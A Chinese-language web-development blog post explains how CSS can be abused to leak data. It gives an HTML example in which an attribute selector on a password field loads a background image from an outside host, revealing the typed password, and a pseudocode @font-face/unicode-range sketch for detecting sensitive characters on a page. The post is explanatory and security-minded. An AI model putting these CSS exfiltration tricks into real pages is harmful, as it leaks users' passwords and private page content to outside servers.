CSS是如何发起攻击的?

编程微刊

共 3420字,需浏览 7分钟

 ·

2021-05-15 17:00

CSS是如何发起攻击的

写在开头

  • 我们熟悉XSS攻击和CSRF等攻击方式
  • 但是,其他有一种攻击,是CSS攻击,今天我就在这里做一个简单的解析

第一种,CSS获取用户密码

  • 当用户输入指定的密码是:前端巅峰,就会发起请求到指定的接口
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Document</title>
        <style>
            input[type='password'][value$='前端巅峰'] {
                background-image: url('https://china-dev.cn');
            }
        </style>
    </head>
    <body>
        <div id="root">root</div>
        <input type="password" value="前端巅峰"/>
    </body>
</html>

china-dev.cn发起了请求,此时后台已经知道了密码输入的是:前端巅峰

  • 这个value,也可以不是全等于,也可以是 *包含,或者^开头,经过一系列复杂的CSS选择器组合,大概率可以知道用户的密码(通过向后台发送请求,记录用户输入密码的顺序)
有人会问,如果通过CSS去import js呢?
  • 这是我在stackoverflow找到的答案

The '@import' rule allows users to import style rules from other style sheets. Any @import rules must follow all @charset rules and precede all other at-rules and rule sets in a style sheet. The '@import' keyword must be followed by the URI of the style sheet to include. A string is also allowed; it will be interpreted as if it had url(...) around it.

  • W3C的C3/import规范:https://www.w3.org/TR/css-syntax-3/#import
  • 规范中写明,当实际解析样式表,那些不符合规则的,在语法检查样式表时被视为无效而删除。你可以看见CSS中import js可以成功发起请求,但是不会解析JS

第二种,通过font-face去获取页面中的敏感数据

  • 攻击场景:一些比较敏感的资料,一些重要任务浏览或者编写而成
  • 先了解一些前置知识,这是指定名为"myFirstFont"的字体,并指定在哪里可以找到它的URL:
@font-face
{
font-family: myFont;
src: url('https://china-dev.cn'),
}

这里有一个属性:unicode-range,可选。定义该字体支持Unicode字符的范围。默认值是"ü+0-10 FFFF",文档地址:https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range

unicode-range
/* 支持的值 */
unicode-range: U+26;               /* 单个字符编码 */
unicode-range: U+0-7F;
unicode-range: U+0025-00FF;        /* 字符编码区间 */
unicode-range: U+4??;              /* 通配符区间 */
unicode-range: U+0025-00FF, U+4??; /* 多个值 */
  • unicode-range的常用unicode值及获取

对于我们中文用户,最常用的有下面这些:

汉字:[0x4e00,0x9fa5](或十进制[19968,40869])
数字:[0x30,0x39](或十进制[48, 57])
小写字母:[0x61,0x7a](或十进制[97, 122])
大写字母:[0x41,0x5a](或十进制[65, 90])
  • 举一反三,那么根据复杂且特定的规则,也可以得出用户界面上浏览的内容是否存在我们想要的敏感数据,伪代码实现:
@font-face
{
font-family: myFont;
src: url('https://china-dev.cn'),
unicode-range:*******
}

CSS其他攻击手段

  • CSS攻击手段在我看来,还是有很多种,但是这里就不一一罗列出来了,以防有不法之徒效仿
  • 如果大家有常见的CSS攻击漏洞,可以在评论区一起分享,一起让WEB更安全!

浏览 20
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报